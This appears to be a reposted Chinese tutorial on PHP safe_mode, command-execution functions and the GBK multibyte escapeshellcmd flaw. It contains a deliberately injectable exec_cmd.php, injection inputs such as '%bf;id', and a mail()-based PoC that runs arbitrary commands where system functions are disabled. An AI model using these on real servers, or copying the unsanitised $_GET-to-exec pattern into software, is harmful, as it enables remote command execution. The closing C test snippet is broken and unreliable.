safe_mode(php安全模式)

from: https://www.cnblogs.com/windclouds/p/5413035.html

简单说,PHP安全模式就是以安全模式运行php。

php的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的php开放的web服务器上。当一个web服务器上运行的php打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能。

当安全模式打开的时候,一些尝试访问文件系统的函数功能将被限制。

当安全模式打开的时候,以下函数列表的功能将会受到限制:

chdir, move_uploaded_file, chgrp, parse_ini_file, chown, rmdir, copy, rename, fopen, require, highlight_file, show_source, include, symlink, link, touch, mkdir, unlink

同样的,一些php扩展中的函数也将会受到影响。(加载模块:在安全模式下dl函数将被禁止,如果要加载扩展的话,只能修改php.ini中的扩展选项,在php启动的时候加载)。

在php安全模式打开的时候,需要执行系统程序的时候,必须是在safe_mode_exec_dir选项指定目录的程序,否则执行将失败。即使允许执行,那么也会自动的传递给escapeshellcmd函数进行过滤。

以下执行命令的函数列表将会受到影响:

exec,shell_exec,passthru,system,popen

另外,背部标记操作符(`)也将被关闭。

当运行在安全模式下,虽然不会引起错误,但是putenv函数将无效。同样的,其他一些尝试改变php环境变量的函数set_time_limit, set_include_path也将被忽略。

怎么开启php的安全模式呢?

在php.ini文件里面设置safe_mode = On就可以了,如图:

 

 

safe_mode = On(开启安全模式)

safe_mode = Off(关闭安全模式)

接下来,我们来举例说明

打开php.ini文件,保证safe_mode = On & safe_mode_exec_dir = :

safe_mode = On(开启安全模式)

safe_mode = Off(关闭安全模式)

接下来,我们来举例说明

打开php.ini文件,保证safe_mode = On & safe_mode_exec_dir = :

 

 

接下来,我们执行如下代码:

exec_cmd.php 源代码:

<?php

//eg:dir /x ipconfig /all netstat -ano

$a = $_GET['a'];

//非安全执行命令

echo exec($a);

echo shell_exec($a);

echo passthru($a);

system($a);

popen($a.' >> 2.txt','r');

echo '<br />';

//安全执行命令

echo exec(escapeshellcmd($a));

echo shell_exec(escapeshellcmd($a));

echo passthru(escapeshellcmd($a));

system(escapeshellcmd($a));

popen(escapeshellcmd($a.' >> 2.txt'),'r');

echo '<br />';

//更安全执行命令

echo exec(escapeshellarg($a));

echo shell_exec(escapeshellarg($a));

echo passthru(escapeshellarg($a));

system(escapeshellarg($a));

popen(escapeshellarg($a.' >> 2.txt'),'r');

echo '<br />';

?>

在Firefox中输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver返回如下信息:

 

可以看到:

echo shell_exec($a);

echo shell_exec(escapeshellcmd($a));

echo shell_exec(escapeshellarg($a));

这三行代码执行的时候,报错了,那么,我们注释掉这三行代码,再来执行呢?

 

浏览器无信息回显(说明其他命令也没有被执行,至少没有被成功的执行)。

其实,他的意思已经很明确了:

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 9

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 19

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 29

就是因为我们开启了php的safe_mode,才导致shell_exec函数执行报错。

如果我们关闭php的safe_mode,那么,exec_cmd.php代码肯定是可以正常执行,如图:

在Firefox中输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver返回如下信息:

 

 

可以看到:dir /x命令已经在代码中执行了。

在安全模式开启时,如果我们研究一下:safe_mode_exec_dir呢,可不可能绕过safe_mode再执行系统命令呢?

本节开头已经说了:

在php安全模式打开的时候,需要执行系统程序的时候,必须是在safe_mode_exec_dir选项指定目录的程序,否则执行将失败。即使允许执行,那么也会自动的传递给escapeshellcmd函数进行过滤。

接下来,我们将safe_mode_exec_dir设置为:c:\windows\system32\,并且safe_mode  = On

如图:

 

 

重新启动Apache,使该设置生效。

Firefox中再次输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver 返回信息如下:

 

 

可以看到:dir /x命令依然可以被系统执行。

这是因为dir命令所在的目录:c:\windows\system32\,是我们在开启safe_mode之后,通过safe_mode_exec_dir设置的一个可执行的目录(即该目录下的php代码中的命令函数可以调用系统cmd执行命令,而不用管safe_mode是否设置)。

这样,我们就算绕过了safe_mode的限制,达到了重新执行系统命令的目的。

接下来,讲解一下命令执行的安全性问题

正如大家看到的,exec_cmd.php 源代码里面,使用了两个函数分别对调用cmd来执行命令的一些函数,如:exec、shell_exec实行调用cmd执行系统命令前的参数过滤,这两个函数分别是:

escapeshellcmd函数

escapeshellarg函数

我们可以通过如下代码来说明一下,这两个函数的区别:

escape_2.php 源代码:

<?php

$a = $_GET['a'];

echo '渗透测试输入的原始命令:'.$a;

echo '<br />';

echo 'escapeshellcmd函数作用后:'.escapeshellcmd($a.' >> 2.txt');

echo '<br />';

echo 'escapeshellarg函数作用后:'.escapeshellarg($a.' >> 2.txt');

echo '<br />';

?>

Firefox中输入:http://localhost:81/escape_2.php?a=dir%20/x

Webserver 返回如下信息:

 

渗透测试输入的原始命令:dir /x
escapeshellcmd函数作用后:dir /x ^>^> 2.txt
escapeshellarg函数作用后:"dir /x >> 2.txt"

咋一看,第一个函数用^扰乱了>,第二个函数使用”将传入函数的参数(即命令)进行前后闭合。

没看出什么所以然,继续使用不同的测试用例

Firefox输入:http://localhost:81/escape_2.php?a=%3C%3E?/-%27;%22\|~%60.!

Webserver返回如下信息:

 

渗透测试输入的原始命令:<>?/-';"\|~`.!
escapeshellcmd函数作用后:^<^>^?/-^'^;^"^\^|^~^`.! ^>^> 2.txt
escapeshellarg函数作用后:"<>?/-'; \|~`.! >> 2.txt"

这里基本上看出点端倪了,原来,eacapeshellcmd函数就是使用^把特殊字符扰乱,而escapeshellarg函数是将特殊字符里面的”过滤掉,强制使用自己的”把字符串前后闭合起来。

这样的设计,似乎就比较的安全了,基本没有什么cmd注入(或者bash注入)了,但是,你会发现,在宽字节的系统中,依然存在这样的命令注入!

德国的安全专家Stefan Esser大牛的一篇文章《php escapeshellcmd多字节编码漏洞解析及延伸》

PHP 5 <= 5.2.5

PHP 4 <= 4.4.8

    一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。

    这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:

/* {{{ php_escape_shell_cmd

   Escape all chars that could possibly be used to

   break out of a shell command

   This function emalloc's a string and returns the pointer.

   Remember to efree it when done with it.

   *NOT* safe for binary strings

*/  

char *php_escape_shell_cmd(char *str) {

    register int x, y, l;

    char *cmd;

    char *p = NULL;

    l = strlen(str);

    cmd = safe_emalloc(2, l, 1);

    for (x = 0, y = 0; x < l; x++) {

        switch (str[x]) {

            case '"':

            case '\'':

#ifndef PHP_WIN32

                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

                    /* noop */

                } else if (p && *p == str[x]) {

                    p = NULL;

                } else {

                    cmd[y++] = '\\';

                }

                cmd[y++] = str[x];

                break;

#endif

            case '#': /* This is character-set independent */

            case '&':

            case ';':

            case '`':

            case '|':

            case '*':

            case '?':

            case '~':

            case '<':

            case '>':

            case '^':

            case '(':

            case ')':

            case '[':

            case ']':

            case '{':

            case '}':

            case '$':

            case '\\':

            case '\x0A': /* excluding these two */

            case '\xFF':

#ifdef PHP_WIN32

            /* since Windows does not allow us to escape these chars, just remove them */

            case '%':

                cmd[y++] = ' ';

                break;

#endif

                cmd[y++] = '\\';

                /* fall-through */

            default:

                cmd[y++] = str[x];

        }

    }

    cmd[y] = '\0';

    return cmd;

}

/* }}} */



    可以看到,php通过将",',#,&,;.....等等在shell命令行里有特殊意义的字符都通过在前面加上\变成\".\',\#,\&,\;......来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

<?php

$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces

system("echo $e");

$f = escapeshellcmd($filename);


// and here we do, so we use quotes

system("touch \"/tmp/$f\"; ls -l \"/tmp/$f"");

?>

    很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:echo hello;id;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:echo hello\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

    事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等......而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。

    大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:0xbf;id或0xbf'id

    经过php的escapeshellcmd单字节转码之后将会是

    0xbf5c;id

    0xbf5c'id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

    [0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$ echo 縗



[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GBK

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0x5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。

那我们如何来证明php的漏洞呢,拿

<?php

$e = escapeshellcmd($_GET[c]);

// here we don't care if $e has spaces

system("echo $e");

?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php

putenv("LANG=zh_CN.GBK");

$e = escapeshellcmd($_GET[c]);

// here we don't care if $e has spaces

system("echo $e");

?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

    mail函数一些代码片段如下:

......

    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {

        php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.");

        RETURN_FALSE;

    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",

                              &to, &to_len,

                              &subject, &subject_len,

                              &message, &message_len,

                              &headers, &headers_len,

                              &extra_cmd, &extra_cmd_len

                              ) == FAILURE) {

        return;

    }

......

    if (force_extra_parameters) {

        extra_cmd = estrdup(force_extra_parameters);

    } else if (extra_cmd) {

        extra_cmd = php_escape_shell_cmd(extra_cmd);

    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

        RETVAL_TRUE;

    } else {

        RETVAL_FALSE;

    }

.....

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:


......

    if (extra_cmd != NULL) {

        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

        strcpy (sendmail_cmd, sendmail_path);

        strcat (sendmail_cmd, " ");

        strcat (sendmail_cmd, extra_cmd);

    } else {

        sendmail_cmd = sendmail_path;

    }

#ifdef PHP_WIN32

    sendmail = popen(sendmail_cmd, "wb");

#else

    /* Since popen() doesn't indicate if the internal fork() doesn't work

     * (e.g. the shell can't be executed) we explicitely set it to 0 to be

     * sure we don't catch any older errno value. */

    errno = 0;

    sendmail = popen(sendmail_cmd, "w");

......

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

<?php

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

putenv("LANG=zh_CN.GBK");

mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]);

?>

 

可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。

这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射....这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要\,',|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问题,譬如

SJIS

[\x20-\x7e]|[\xa1-\xdf]|([\x81-\x9f]|[\xe0-\xef])([\x40-\x7e]|[\x80-\xfc])

\x40-\x7e就包括了\x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。再次向Stefan Esser致,Stefan Esser is my hero! :)

大家可以用VC++编译器验证一下文章中提到的POC,在此,我就不演示了

编译器如图:

 

 

主函数代码如下:

int main ()

{

char input = '\0';

char input1 = '\0';

printf ("请输入一个特殊字符:");

scanf ("%c", &input);

input1 = php_escape_shell_cmd (&input);

printf ("%c\n", input1);

return 0;

}

总结:

一句话,安全无绝对,NO SYSTEM IS SAFE!

safe_mode配置安全使用

safe_mode_exec_dir配置安全使用

exec,shell_exec,passthru,system,popen命令函数安全使用

escapeshellcmd/ escapeshellarg过滤函数安全使用

posted @ 2019-11-11 09:22  mrhonest  阅读(1725)  评论(0编辑  收藏  举报